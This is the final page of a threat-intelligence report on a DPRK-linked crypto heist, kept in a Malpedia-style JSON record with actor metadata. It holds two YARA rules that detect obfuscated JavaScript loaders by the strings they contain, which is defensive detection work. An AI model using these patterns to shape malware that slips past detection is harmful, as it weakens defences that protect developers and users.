/\\(\\)\\)\\(\\)/\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 19 of 20\n\ncondition:\r\n filesize \u003c 50KB and\r\n all of ($s*) and\r\n 2 of ($obf*) and\r\n 1 of ($exec*)\r\n}\r\nIf this doesn't provide any results for safe keeping, you can run the following; however, be wary of potential false\r\npositives:\r\nrule DPRKObfuscatedJavaScript2 {\r\n meta:\r\n description = \"Flexible RepoCrossChainTxDataHiding detection\"\r\n author = \"Ransom-ISAC\"\r\n strings:\r\n $s1 = \"global['_V']\"\r\n $s2 = \"global['r']\"\r\n $obf = \".charAt\" nocase\r\n $req = \"require\"\r\n condition:\r\n filesize \u003c 100KB and\r\n all of them\r\n}\r\nSource: https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nhttps://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/\r\nPage 20 of 20",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://ransom-isac.org/blog/cross-chain-txdatahiding-crypto-heist/"
	],
	"report_names": [
		"cross-chain-txdatahiding-crypto-heist"
	],
	"threat_actors": [
		{
			"id": "aa73cd6a-868c-4ae4-a5b2-7cb2c5ad1e9d",
			"created_at": "2022-10-25T16:07:24.139848Z",
			"updated_at": "2026-04-10T02:00:04.878798Z",
			"deleted_at": null,
			"main_name": "Safe",
			"aliases": [],
			"source_name": "ETDA:Safe",
			"tools": [
				"DebugView",
				"LZ77",
				"OpenDoc",
				"SafeDisk",
				"TypeConfig",
				"UPXShell",
				"UsbDoc",
				"UsbExe"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "4fc99d9b-9b66-4516-b0db-520fbef049ed",
			"created_at": "2025-10-29T02:00:51.949631Z",
			"updated_at": "2026-04-10T02:00:05.346203Z",
			"deleted_at": null,
			"main_name": "Contagious Interview",
			"aliases": [
				"Contagious Interview",
				"DeceptiveDevelopment",
				"Gwisin Gang",
				"Tenacious Pungsan",
				"DEV#POPPER",
				"PurpleBravo",
				"TAG-121"
			],
			"source_name": "MITRE:Contagious Interview",
			"tools": [
				"InvisibleFerret",
				"BeaverTail",
				"XORIndex Loader",
				"HexEval Loader"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434599,
	"ts_updated_at": 1775826678,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/2591fff6bbd28805ce0c5171df4db70159d25238.pdf",
		"text": "https://archive.orkl.eu/2591fff6bbd28805ce0c5171df4db70159d25238.txt",
		"img": "https://archive.orkl.eu/2591fff6bbd28805ce0c5171df4db70159d25238.jpg"
	}
}